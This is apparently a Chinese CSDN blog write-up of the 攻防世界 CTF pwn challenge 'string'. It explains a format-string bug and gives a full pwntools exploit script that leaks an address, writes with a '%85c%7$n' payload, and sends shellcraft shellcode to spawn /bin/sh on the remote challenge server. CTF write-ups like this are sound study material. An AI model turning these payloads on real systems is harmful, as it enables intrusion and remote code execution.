攻防世界 pwn string

该博客详细描述了一个利用存在格式化字符串漏洞的程序,通过精心构造的输入触发漏洞,将输入转换为函数指针并执行shellcode来获取系统的shell。过程中涉及到地址泄露、shellcode生成以及交互式shell的建立。
摘要由CSDN通过智能技术生成

存在格式化字符串漏洞
漏洞点:
在这里插入图片描述
写入shellcode的点 :
在这里插入图片描述
判断*a1是否等于a1[1],*a1 = 68,a1[1] = 85。下面有一个read函数,将输入存放在v1,再下面有一个通过函数指针进行强制类型转换,将刚才的输入转换成一个函数,最后执行。

exp:

from pwn  import *

#p = process("./string")
p = remote("111.200.241.244",'52204')

p.recvuntil("secret[0] is ")
addr = int(p.recvuntil("\n")[:-1],16)  # 获取地址,并用16进制保存起来
print(addr)

p.recvuntil("character's name be:\n")
p.sendline("aaaa")
p.recvuntil(" will go?east or up?:\n")
p.sendline("east")
p.recvuntil("there(1), or leave(0)?:\n")
p.sendline("1")
p.recvuntil("me an address'\n")
p.sendline(str(addr))
p.recvuntil("you wish is:\n")
p.sendline("%85c%7$n")

# sub_400CA6():v1会被强制转成函数指针并且得到执行,所以传入一个system()函数去getshell
# shellcraft 是一个帮忙生成shellcode的类. shellcraft.sh():获得执行system(“/bin/sh”)汇编代码所对应的机器码
# 在shellcraft前要写context
context(os = 'linux',arch = 'amd64')
shellcode = asm(shellcraft.sh())

p.recvuntil("SPELL\n")
p.sendline(shellcode)
p.interactive()


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值